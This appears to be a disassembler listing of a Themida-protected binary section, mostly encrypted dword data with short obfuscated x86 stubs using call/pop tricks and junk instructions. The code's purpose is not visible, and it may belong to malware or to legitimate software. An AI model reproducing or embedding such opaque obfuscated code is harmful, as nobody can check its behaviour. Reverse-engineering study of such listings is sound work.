dd 94751333h, 0D9020112h, 5CDFDCA0h, 0EC79AEA4h, 41AE51A1h
dd 9D22DC09h, 0BA8C0C7Fh, 0DF103773h, 0C821732Ah, 4DFD9828h
dd 0FD5BEA2Ch, 508C152Bh, 8C009881h, 0ABAE48F7h, 0EFD2A5FBh
dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
dd 458AFD4Ah, 0D5F251A2h, 5CC371C0h, 5CDDDAA4h, 828668A1h
dd 54A8ADE7h, 0BACC152Ah, 46A59030h, 0CE529E2Ch, 9783FC69h
dd 0EFE2A5B9h, 0D9F9FA31h, 5CDFDCA0h, 0D79AEA4h, 2320949Ah
dd 328C551Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
dd 0A901402Ah, 34549521h, 458A15C2h, 0BE290BA2h, 43935C91h
dd 0DFA02429h, 4D1957h, 54A8515Eh, 0D775532Ah, 52BA5C63h
dd 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 5CDFDCA0h
dd 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh
dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h
dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h
dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh
dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh
dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh
dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h
dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h
dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h
dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh
dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 9D22DC08h, 0BA8C0C7Fh
dd 0FEF8E173h, 10439FA7h, 855757BBh, 6E20D6A0h, 29215DDFh
dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah, 52BA581Bh
dd 0C8204526h, 4DFD9828h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h
dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh
dd 0FE0451A2h, 484B87D5h, 8C2357B0h, 0EF491786h, 161DB2Fh
dd 94751333h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h
dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh
dd 457650EDh, 0F8A851A2h, 8418EA80h, 0DFAE43AFh, 8558B9E2h
dd 9D32DC08h, 0BA8C0C7Fh, 94103771h, 0CF2173E3h, 2983FB63h
dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh
dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 52BA5C63h
dd 7726DDA1h, 0CE25FB63h, 439340E3h, 0ECCE825Dh, 0EEECE4AAh
dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah
dd 0D903376Bh, 5CDFDCB0h, 327BAEA4h, 234B9592h, 0FE04FD09h
dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h
dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h
dd 10438FA7h, 875757BBh, 320A09Ah, 0CE25FB0Eh, 439340E3h
dd 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5CC699C0h
dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 439352EBh
dd 0CC32DCF1h, 0BA8C0C62h, 0A8EDD871h, 458A42C3h, 58DDAEA2h
dd 0C88260D5h, 4DEF8038h, 0DF07462Ch, 52B1193Ah, 3C6D5h
dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 2578FA7h, 0D9FB57BBh
dd 5CC28DB0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh
dd 0BD32DCAAh, 168C0C6Dh, 1C30CB2Fh, 96751333h, 0BD54142Bh
dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 720CEB00h
dd 0FC3D38A3h, 0DF669A80h, 0E9D9AD9Eh, 669h, 65DE9h, 1F8B7E00h
dd 339D9181h, 4BADA595h, 61C7BDADh, 76DED3C3h, 9E0C6BD8h
dd 0B3A341A9h, 0CABA58BCh, 0E3D371D1h, 0EEED8BE9h, 54F41C8Dh
dd 0E8FB7602h, 0B7150F96h, 0A505FEB4h, 3FB039A2h, 6FE90717h
dd 0D0CF392Dh, 49401882h, 73961D2h, 0F6406FE9h, 55ECF9BDh
dd 0D06800E1h, 0BA2217CDh, 0A40C01B7h, 0C82C23F9h, 22056FC5h
dd 6510766Ch, 3D35978Fh, 9578E246h, 2B25E7DFh, 0E074CACDh
dd 49071252h, 5F62FA64h, 484BB5A9h, 0B863FEEDh, 29087046h
dd 0A236E501h, 78C35C92h, 36C12BCAh, 0F05A40C5h, 0B0B30169h
dd 254DBE47h, 3476024Ah, 4A3A62D3h, 0F3417602h, 2119F15Bh
dd 493E14BFh, 475DEE1h, 76024ADCh, 93FD95E3h, 0CB2D2515h
dd 476877C8h, 6E255AE1h, 65C7BF8Eh, 8AECE4BAh, 1E0DA220h
dd 0C64FD883h, 0BB428E54h, 3BCE8A9Dh, 0AD215E13h, 0B021CC1Ah
dd 0AD215E88h, 6CDF4997h, 0A728A2EBh, 1BD1D422h, 0A517C222h
dd 8638B307h, 0C745AFDDh, 0D37EDED7h, 9DA008FDh, 0A9FADD47h
dd 4A8B29FFh, 8D7B76Eh, 7C11AF0Fh, 359D9271h, 7C81F29Dh
dd 8DC59D48h, 0BFEB3C3Fh, 0F7CD9907h, 123AAB34h, 20CD9907h
dd 6EC4C727h, 2F29216Fh, 0E78CED1h, 62B98D6Dh, 5735CD7Bh
dd 25288881h, 72C65CFh, 0D2000000h, 3EE20h, 160FCE00h
dd 0D84AB3B6h, 16549425h, 0FDD53F72h, 0EAA0A305h, 5B7795F1h
dd 82EDD728h, 3931E7EAh, 302B53C4h, 0E4326FE9h, 33F2494Ch
dd 67E0E453h, 5FBFB887h, 78D8D1C1h, 0EB8B5D75h, 2C968A60h
dd 157F7329h, 9272137Dh, 0DF433A10h, 5FF286DCh, 61170E01h
dd 700D842h, 729A0B94h, 796FE9C2h, 0C270982Bh, 317F6FE9h
dd 130BFB99h, 2F8AEB1h, 8342999Ch, 1ADCD4A3h, 5BBBE24h
dd 53A9AC0Ch, 0EF7823BBh, 0E9C2567Eh, 11756C6Fh, 0D7CCC412h
dd 0AC166C6Fh, 0BCB58B2Eh, 9F7FF25Ch, 0F500A80Bh, 0AFA9800h
dd 19CDB313h, 732CCE82h, 2B22D8DBh, 0C667C4C7h, 57042254h
dd 201788CCh, 0CB63B9BCh, 11E0C061h, 3918B61Ah, 0FDh, 69C9C298h
dd 6D6AC3FFh, 2B25DBDEh, 0F12766Dh, 64CCC1B9h, 0C8730B61h
dd 7A6CE3Fh, 67B56FE9h, 978F7FFDh, 0BFB48A35h, 0A10AED57h
dd 6E71D3CBh, 133BAE18h, 806FE907h, 1A12E1C1h, 70C34A5h
dd 0C5136FE9h, 0CCA19B31h, 2EC64E93h, 52B6AD83h, 837A6AE8h
dd 6C661C1Fh, 0BB53B7AEh, 0C4A45BB8h, 0FC9AFEF5h, 0AEB1150Ch
dd 989B03F8h, 8386ECE2h, 28277F31h, 5C54A321h, 39FBFE68h
dd 0D871E0C0h, 736A3919h, 8C81710Fh, 0DE092124h, 0B4B71B12h
dd 9DA00AFEh, 0EE8DEFE7h, 48E85737h, 9C25A787h, 8D7AA213h
dd 33816FE9h, 0E98D78A0h, 0A1F7F26Fh, 0AA30FFA6h, 1BF35DABh
dd 0A6645E26h, 0AFB24AB0h, 2F04C559h, 51822633h, 0EF781BB9h
dd 0E966567Eh, 10766C6Fh, 8159C311h, 0D4252888h, 6FE966A7h
dd 129474F5h, 0EE4463Ch, 3F593BECh, 0F8D03AD2h, 5E019FFFh
dd 0E98AB4ECh, 2E98ADEBh, 62D35CF2h, 6FE9073Ah, 0B189F341h
dd 24AD58B8h, 7022A9Bh, 0BB096FE9h, 0E9070028h, 0CAF2636Fh
dd 0D16FE907h, 763A8483h, 0CF992F5Ch, 0E5C832CAh, 0D3D6362Fh
dd 0BCBF291Dh, 0A9AC0E06h, 0F897FDF3h, 94F26141h, 0F079FBDBh
dd 0E91C577Fh, 0AE18666Fh, 0DF7DDDD6h, 0E9175354h, 1064616Fh
dd 1D81D90h, 10DF0778h, 0A0EE6FE9h, 0FE9CFD36h, 0CB54FFFFh
dd 8682D559h, 9326C473h, 6FE9186Bh, 7EBA2472h, 35E0636Ah
dd 0FB1BAFC4h, 0DAD07E69h, 3058C974h, 3F75FB24h, 0A05659F1h
dd 79F2E8A6h, 0FB24E008h, 9A1EF75h, 0E9E3D371h, 0DCD2888Bh
dd 0EE9DBF7Ah, 0B149CB1Ch, 0BA9A51AEh, 0F593F1EBh, 0AAAD0B05h
dd 0FB242C59h, 4525DE75h, 9A0B7C76h, 75FB2472h, 0F5932B79h
dd 544D0B05h, 977FE2F8h, 35CDB99Ah, 5B319A9Dh, 19960064h
dd 5BE48F12h, 0FB74C2EAh, 117BC975h, 93101586h, 0E331700Dh
dd 26BDB045h, 9A7D0A7Bh, 57E069F0h, 20ABEE6h, 157FCD76h
dd 7CE5E836h, 4C8181F3h, 5BB726BAh, 272A0C8h, 0F761AF76h
dd 28C6261Fh, 56B6AF85h, 0BB93FD53h, 0E5F62C2h, 5AE16FFFh
dd 0B6B91F15h, 0A0A30B00h, 3DAC8C43h, 11E0C039h, 0FC625818h
dd 0DFD6C664h, 77C5231Bh, 0BCC3286Ch, 85DBDE76h, 694169DAh
dd 0FA48AD21h, 582EB762h, 0A7FD005Eh, 2169EC14h, 3BA5F3ADh
dd 49A9A258h, 66EFB246h, 0F74142F4h, 11A4C6F3h, 0AD211AE9h
dd 1AABD344h, 64B2AD21h, 0CAD1765h, 8E01582Ch, 88481555h
dd 0EE000000h, 2C8E865Ch, 8CF6EAC2h, 0BFE758E1h, 0CE6FE907h
dd 2DC52920h, 5D5545C3h, 776D5DFBh, 8E837311h, 0D66ECCC6h
dd 0EF534838h, 0B4666531h, 0AB49E138h, 0C260C4BBh, 0DB79D9D2h
dd 0F593F1EBh, 0FDA81005h, 0CBCE2E27h, 0BF280B75h, 0E9F3264Eh
dd 0E0E7356Fh, 6777127h, 0E9F36D95h, 962E7C6Fh, 9D7D3C93h
dd 0C5ED5EBFh, 0D46FE9F3h, 30E9E886h, 94FCF1C7h, 81E3DB91h
dd 61B87FE9h, 66000000h, 7779E29h, 2DEC6FE9h, 0F6DDF4Dh
dd 2313B11Bh, 0AC1EC92Bh, 0A9A32F52h, 7157B74Bh, 28189600h
dd 3E2ECC32h, 5343E149h, 4A72E35Eh, 516FE9B2h, 0B2577FF0h
dd 18666FE9h, 5A4AE880h, 7E54FF63h, 39B72189h, 65C9C096h
dd 0CA2A23FBh, 0E4423C2Ch, 56F6339h, 0C442AC02h, 3E5h
dd 59959300h, 0ADB01C0Fh, 9C9FFDF7h, 8A8DEDE6h, 7679DDD4h
dd 6063CBC0h, 4A4DB5AAh, 35389E94h, 2225877Fh, 0B0E786Ch
dd 0E189514Dh, 4C181h, 0BB530000h, 4, 875BD929h, 685C240Ch
dd 6610h, 57243C89h, 0C781E789h, 4, 8704EF83h, 895C243Ch
dd 0E0682434h, 89000002h, 0F9BB241Ch, 0BF1F0779h, 0E711D376h
dd 685BDF01h, 2B09h, 83242489h, 5E042404h, 8B951h, 0F1010000h
dd 89FE8956h, 0FF595E31h, 835E2434h, 3C8B04C4h, 0E0895024h
dd 405h, 40500h, 4870000h, 3EE95C24h, 0FAFFF92Ch, 673DCE3Ah
dd 52250A71h, 3FB8A776h, 3061953h, 0E9D38BC5h, 3Bh, 0BDBD8B60h
dd 83061223h, 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h
dd 0D1000000h, 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh
dd 0F98107h, 0F000001h, 0FFFFD382h, 8BC361FFh, 0FDED55C8h
dd 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD21092Eh, 0FD21248Ch
dd 0FD2133CDh, 0FD21B923h, 0FD217C1Dh, 0FD219E0Bh, 0FD21EFD0h
dd 0FD2157B1h, 0FD210BACh, 0FD2124EBh, 0FD2133A0h, 0FD21BB05h
dd 0FD217D66h, 0FD219F47h, 0FD21EE20h, 0FD2155ECh, 0FD210930h
dd 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch
dd 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h, 0FC7BF374h
dd 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A64B4876h, 0A6485A75h
dd 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h, 701ABC75h
dd 0E42271F0h, 9BFFA673h, 707C8E21h, 0E4228EF0h, 0DBFF6C73h
dd 707CEB21h, 0E422FAF0h, 9FFF3573h, 707C4721h, 0E42DCCF0h
dd 0D7FF1E73h, 707CD221h, 0E42D47F0h, 0D3FF7B73h, 707C6021h
dd 0E42CFCF0h, 0CFFFD773h, 707C3621h, 0E42CC5F0h, 0CBFF4273h
dd 707CFC21h, 0E42C9AF0h, 0C7FFF073h, 707CA521h, 0E42C9DF0h
dd 0BBFFA673h, 707C8E21h, 0E42C44F0h, 0C3FF6C73h, 707CEB21h
dd 0E42CD7F0h, 0BFFF3573h, 707C4721h, 0E42CECF0h, 0BBFF1E73h
dd 707CD221h, 0E42C18F0h, 0ABFF7B73h, 707C6021h, 0E42DA0F0h
dd 0A7FFD773h, 707C3621h, 0E42DA8F0h, 0A3FF4273h, 707CFC21h
dd 0E42D7AF0h, 0B7FFF073h, 707CA521h, 0E42DE1F0h, 0B3FFA673h
dd 707C8E21h, 0E42291F0h, 0AFFF6C73h, 767CEB21h, 0EF77B8F0h
dd 62FF3573h, 767C4721h, 0EF7396F0h, 5EFF1E73h, 9C7CD221h
dd 11F1B0B6h, 0FD7AF29Dh, 17FB2375h, 0FB63E9C6h, 0F53FD525h
dd 0A9E4ADFDh, 3422916Ch, 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h
dd 7C277975h, 0E42F6898h, 0D8FFA073h, 7D7C3621h, 0E42EB2C8h
dd 0B409CF73h, 4B75E4C5h, 89BAF9B5h, 5EEF8635h, 0BD7CA521h
dd 452B96FEh, 0FD7A2F7Ah, 0A9D9028Ah, 48F7CD6Ch, 0FB63B153h
dd 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h, 0A9D9BA8Ah
dd 48F7916Ch, 0FB639F53h, 50FCD1F8h, 1F23228Ah, 0D8F787BCh
dd 0A07CA521h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h, 5779C1CDh
dd 0A9E5708Ah, 3ED1F46Ch, 0FD78079Dh, 9BC2DA75h, 9B5954CDh
dd 62EFD0DEh, 9B7C8E21h, 959208DEh, 0B7AE577h, 8872F336h
dd 62EF866Eh, 4D7CA521h, 0AD7954C5h, 0A9E5BA8Ah, 9B20916Ch
dd 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh
dd 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h, 3ED183FEh
dd 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh, 16D049C5h
dd 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h, 0B207975h
dd 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h, 4DBA07F5h
dd 6885B5FFh, 0FB63A6EAh, 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h
dd 0BD9285E9h, 4D7A9774h, 359261F4h, 157AE574h, 0FD7AF22Dh
dd 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh, 451C9775h
dd 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h, 0FD7BB69Dh
dd 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h, 0BE8CE575h
dd 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh, 1584487Dh
dd 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 5EEF0D75h, 707C6021h
dd 0E42ED6C0h, 518A5D73h, 2D02C7Fh, 0E42E08E0h, 0E5920873h
dd 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah, 0A5CA5E75h
dd 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh, 9B4BFDCDh
dd 36B91DEh, 0A7CA438Ah, 5722EEDFh, 57929FB6h, 0C923C22h
dd 0A77ACB75h, 3F5122FEh, 747E1AF6h, 8B9177h, 592438Ah
dd 4D7A5E75h, 5779252Dh, 0E1FF69B6h, 7D7CD221h, 0E42EF9C8h
dd 0EC0FF373h, 0A9F4FCF8h, 152ABA6Ch, 0FD7A5C61h, 0FD781B9Dh
dd 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah, 0E1F787DFh
dd 7D7CA521h, 0E42E42C8h, 0F10F2F73h, 0A9F412F8h, 152ACD6Ch
dd 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0FB63E8D6h, 0A591C3F8h
dd 0F9F0296Ch, 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh, 3AF1A875h
dd 15F9BB5Eh, 3E783571h, 0A9E5CB8Ah, 4ACE296Ch, 0FF0E9651h
dd 0F2CA74C1h, 0C9924E13h, 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h
dd 0F179BEB5h, 577825B5h, 62EF68B6h, 7D7CD221h, 39FAEA91h
dd 9B7542F5h, 15D12EDEh
dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h
dd 0A9D9708Ah, 60F7F46Ch, 0FB632DF7h, 3E39A0F8h, 0FD7A4ECDh
dd 5EEFD075h, 7E7C8E21h, 35F1CEB5h, 62EF1A89h, 577CEB21h
dd 15B98E97h, 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h
dd 1608CB75h, 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh
dd 17FB0475h, 0FB63778Eh, 7D86EAFCh, 0E42E55CFh, 7975E573h
dd 0FD7AF2ECh, 0FD7A73CDh, 5EE84375h, 0BD7C4721h, 0A9DDADFCh
dd 35F1916Ch, 0A4B579F8h, 6F85E36Ch, 0FB63A6EAh, 1F3C7FFDh
dd 0FD6D0480h, 7F795E75h, 0FB637BD2h, 3EE01A35h, 7E7CD22Ch
dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0FB63E8D2h, 0A4CBECF8h
dd 5989296Ch, 0FD722F2Bh, 6F85CB75h, 0FB63B1D6h, 897E0AF6h
dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h
dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h
dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h
dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh
dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h
dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 1F90162Fh, 707CD22Ch
dd 0E42E4ECFh, 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh
dd 56E7A226h, 7D7C8E21h, 887BD349h, 1683BE71h, 3E82A977h
dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0FB63756Eh, 0A9D125F8h
dd 80F1CD6Ch, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h
dd 0FB630ADEh, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 0A9D158F8h
dd 0C2FBF46Ch, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h
dd 9C82969Eh, 40F7ABB6h, 0FB63B1DEh, 0FD7AF3CDh, 0FD72C075h
dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0FB63C3CDh, 0CA8BD08Ah
dd 0ABE9h, 3FAB9E00h, 53BDB1A1h, 6BCDC5B5h, 81E7DDCDh
dd 96FEF3E3h, 0BE2C8BF8h, 0D3C361C9h, 0EADA78DCh, 3F391F1h
dd 0E0DAB09h, 61143CADh, 81B7602h, 0B3190FB6h, 2E2414B0h
dd 0B1872AC8h, 9A04F8B8h, 6259802h, 739016F9h, 6FAB712Fh
dd 68BAE6CAh, 9C27916Fh, 0B48A6FA8h, 4FC256C0h, 25DDFE95h
dd 8571E88h, 5000000h, 2D8D865Ch, 0F3571C3h, 0F7ADB01Ch
dd 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh, 944A4DB5h
dd 7F35389Eh, 6C222587h, 4D0B0E78h, 195A8F68h, 24D3E906h
dd 0FBBDFFF9h, 0DC24C466h, 22188F95h, 24B15EFDh, 0BE8h
dd 22BD6100h, 8D3A53F0h, 0A8484A5Ah, 7991BA66h, 0C681F85Eh
dd 608Eh, 2BCA8B66h, 9BC881DBh, 0FF11E23Ah, 81663334h
dd 5FA9F1D0h, 1800Fh, 81F80000h, 5368B6F7h, 0EE834h, 81FA0000h
dd 2725613Eh, 2EFDB280h, 0EE1A5643h, 815950B4h, 0ED22B9EFh
dd 0C7D98158h, 8150F564h, 5EFB3FEFh, 0F515378h, 8Bh, 57585900h
dd 26B2CA81h, 48F3CE3h, 0E83BB11Eh, 7, 89315C2Ah, 0E8BBADC6h
dd 0Eh, 86CF5413h, 0ACFF7C73h, 31F78CB5h, 0B966EA52h, 5959E1E8h
dd 0FC03EB83h, 14E84Bh, 30120000h, 9A109216h, 514C297h
dd 2B7CDFA0h, 0AB7B0E76h, 8B661C55h, 0FB8159C6h, 0FFFFA04Ch
dd 0FF59850Fh, 0CE8FFFFh, 0F9000000h, 78E96427h, 51DD6253h
dd 8056538Ch, 0E95992D0h, 2Ah, 2404C7h, 0E8000000h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6195C2Eh
mov eax, [esp+4]
mov [ebp+6121E71h], eax
mov eax, 0
lea ecx, [ebp+6124DB5h]
jmp ecx
; ---------------------------------------------------------------------------
dw 54B8h
dd 0E8000067h, 0Eh, 0C11374F2h, 932C2BDh, 32FC3777h, 14E96873h
dd 4000000h, 0AFD2FEFAh, 201EA3E3h, 1EB8FD6Ch, 0BA275FAFh
dd 58F41CA7h, 12E9h, 2AF90000h, 0D2167021h, 8195D677h
dd 0C7532B07h, 81A32890h, 5949C0h, 66606000h, 60E64ABFh
dd 0D0816161h, 16750303h, 6C68BF61h, 0F7811E55h, 1E557A74h
dd 6630FFF8h, 5BE787BAh, 81F78B66h, 0AFE723C3h, 7E96Dh
dd 33D0000h, 2C31A9D6h, 0FEF38194h, 0BA2B853Ch, 36ED6335h
dd 2A59EB81h, 810F1790h, 0
; ---------------------------------------------------------------------------
mov [eax], ebx
jmp loc_5BC70C
; ---------------------------------------------------------------------------
db 62h
dd 78D424BCh
; ---------------------------------------------------------------------------
loc_5BC70C: ; CODE XREF: Themida_:005BC702j
sub eax, 4
mov edx, 315878F4h
sub edi, 1
jnz loc_5BC72F
mov dh, ch
jmp loc_5BC749
; ---------------------------------------------------------------------------
push ecx
inc edi
sar ch, 0A4h
cmpsb
inc esi
dec ebp
push ss
aad 6Ah
loc_5BC72F: ; CODE XREF: Themida_:005BC717j
mov dl, cl
jmp near ptr dword_5BC664+69h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 27h
dd 33FDC9DEh, 0ACEA0CA4h, 9AF2DFF6h, 9675B1F1h
db 13h
; ---------------------------------------------------------------------------
loc_5BC749: ; CODE XREF: Themida_:005BC71Fj
jmp short loc_5BC761
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
dd 1000000h
db 1
; ---------------------------------------------------------------------------
loc_5BC761: ; CODE XREF: Themida_:loc_5BC749j
sbb al, 4
; ---------------------------------------------------------------------------
db 0
dd 6A061900h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 5FE2C353h, 74FEC470h, 0E953907Fh
dd 12h, 3EDF125Ch, 7E7AED37h, 0E5B96C9Ch, 3B2F11D9h, 505FA832h
dd 0DF16E2BFh, 6A9072h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 5FC4AFC3h, 0F18166E2h, 6A86A7h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 57C35646h
dd 260F9A18h, 8938DCD9h, 122D459Dh, 81006A06h, 9DBFD1C2h
dd 0B5858D52h, 6A06195Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 0E4B1C356h, 8D958BBDh
dd 90061215h, 5960B256h, 90A0B550h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0EBC35141h, 8AA81F72h, 65BF6655h
dd 0F38166A7h, 6A71F3h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 43C35646h, 0E1D8D89h, 6A0612h, 10E9h
dd 41609800h, 0B98BBA03h, 0DC3E627Ah, 0AAFA18B7h, 10E9F3h
dd 9580000h, 7C13A17Dh, 9984321Fh, 0DCDE7079h, 95FFCDD7h
dd 6120DB5h, 0AB4BBA66h, 606E9h, 0B5016000h, 61229D1h
dd 20059503h, 0E8610612h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6195EBAh
push 0
push ebp
call sub_5BC8E2
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC8E2 proc near ; CODE XREF: Themida_:005BC8DAp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5BC8E2 endp
; ---------------------------------------------------------------------------
imul edx, [edx], 0CB7E636Ah
mov edx, 6B5958Bh
adc al, [esi]
mov edi, 3E51F650h
mov cx, 0C1E2h
call near ptr loc_5BC90D+4
loc_5BC90D: ; CODE XREF: Themida_:005BC908p
mov al, ds:5000000Fh
mov eax, [esp+4]
push edx
mov bh, 0B8h
pop edi
mov eax, [eax]
push edx
pop edx
mov [esp+4], eax
mov di, ax
pop eax
and ecx, [ebp+6121855h]
call dword ptr [ebp+61219CDh]
push 0
push esi
call sub_5BC93D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC93D proc near ; CODE XREF: Themida_:005BC935p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5BC93D endp
; ---------------------------------------------------------------------------
db 0F7h, 0E1h, 0EEh
; ---------------------------------------------------------------------------
add eax, 0F911EE2h
mov edi, 35B58DC9h
pop ebp
sbb [esi], eax
push 0
push eax
call sub_5BC968
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC968 proc near ; CODE XREF: Themida_:005BC960p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5BC968 endp
; ---------------------------------------------------------------------------
dd 7B45196Ah, 0EBA16578h, 79BD8990h, 0F061228h, 6C7FBBFh
dd 6D676552h, 7E9h, 0FD09D800h, 514F53F3h, 6F0446C7h, 6A6C636Eh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 3F6CC352h, 0B997D716h, 6810F2Eh, 29000000h
dd 12058DBDh, 846C706h, 737361h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 11C35040h, 0EA81006Ah, 4390C454h
dd 5D35858Dh, 0BD8B0619h, 6122A75h, 7E95190h, 0CD000000h
dd 3250C9BBh, 505FB57Fh, 2830Fh, 0F2B60000h, 57006A90h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0D23E006Ch, 7A6978EFh, 0D91958Bh, 95FF0612h, 61229D9h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 59C35141h
dd 26AAB3Ah, 0CBFA9BB4h, 840FC00Bh, 53h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 18h, 37C35545h, 19D413D9h
dd 2C79958Bh, 0E5E90612h, 6A000003h, 3E85100h, 20000000h
